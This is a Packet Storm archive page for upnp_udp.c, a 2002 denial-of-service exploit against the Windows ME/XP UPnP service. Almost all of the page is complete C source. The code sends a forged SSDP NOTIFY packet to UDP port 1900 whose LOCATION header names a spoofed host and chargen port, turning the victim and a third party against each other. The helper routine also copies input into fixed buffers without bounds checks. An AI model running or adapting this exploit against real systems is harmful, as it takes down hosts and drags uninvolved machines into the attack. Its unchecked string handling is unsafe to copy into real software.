Twenty Year Anniversary

upnp_udp.c

upnp_udp.c
Posted Sep 25, 2002
Authored by Gabriel Maggiotti | Site qb0x.net

WinME/XP UPNP denial of service exploit.

tags | denial of service
systems | windows
MD5 | ecd66b8e7a1bcabc8f0df50b5a5d9f5c

upnp_udp.c

Change Mirror Download
/* 
* WinME/XP UPNP D0S
*
* ./upnp_udp <remote_hostname> <spooffed_host> <chargen_port>
*
* Authors: Gabriel Maggiotti, Fernando Oubina
* Email: gmaggiot@ciudad.com.ar, foubina@qb0x.net
* Webpage: http://qb0x.net
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX 1000
#define PORT 1900


char *str_replace(char *rep, char *orig, char *string)
{
int len=strlen(orig);
char buf[MAX]="";
char *pt=strstr(string,orig);

strncpy(buf,string, pt-string );
strcat(buf,rep);
strcat(buf,pt+strlen(orig));
strcpy(string,buf);
return string;
}

/***************************************************************************/

int main(int argc,char *argv[])
{
int sockfd,i;
int numbytes;
int num_socks;
int addr_len;
char recive_buffer[MAX]="";

char send_buffer[MAX]=
"NOTIFY * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n"
"CACHE-CONTROL: max-age=1\r\nLOCATION: http://www.host.com:port/\r\n"
"NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n"
"NTS: ssdp:alive\r\nSERVER: QB0X/201 UPnP/1.0 prouct/1.1\r\n"
"USN: uuid:QB0X\r\n\r\n\r\n";

char *aux=send_buffer;
struct hostent *he;
struct sockaddr_in their_addr;

if(argc!=4)
{
fprintf(stderr,"usage:%s <remote_hostname> "\
"<spooffed_host> <chargen_port>\n",argv[0]);
exit(1);
}


aux=str_replace(argv[2],"www.host.com",send_buffer);
aux=str_replace(argv[3],"port",send_buffer);

if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}


if( (sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) {
perror("socket"); exit(1);
}

their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(PORT);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);

if( (numbytes=sendto(sockfd,send_buffer,strlen(send_buffer),0,\
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) ==-1)
{
perror("send");
exit(0);
}
close(sockfd);

return 0;
}



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

April 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    5 Files
  • 2
    Apr 2nd
    17 Files
  • 3
    Apr 3rd
    11 Files
  • 4
    Apr 4th
    21 Files
  • 5
    Apr 5th
    17 Files
  • 6
    Apr 6th
    12 Files
  • 7
    Apr 7th
    1 Files
  • 8
    Apr 8th
    6 Files
  • 9
    Apr 9th
    21 Files
  • 10
    Apr 10th
    18 Files
  • 11
    Apr 11th
    42 Files
  • 12
    Apr 12th
    7 Files
  • 13
    Apr 13th
    14 Files
  • 14
    Apr 14th
    1 Files
  • 15
    Apr 15th
    1 Files
  • 16
    Apr 16th
    15 Files
  • 17
    Apr 17th
    20 Files
  • 18
    Apr 18th
    24 Files
  • 19
    Apr 19th
    20 Files
  • 20
    Apr 20th
    7 Files
  • 21
    Apr 21st
    10 Files
  • 22
    Apr 22nd
    2 Files
  • 23
    Apr 23rd
    17 Files
  • 24
    Apr 24th
    36 Files
  • 25
    Apr 25th
    15 Files
  • 26
    Apr 26th
    31 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close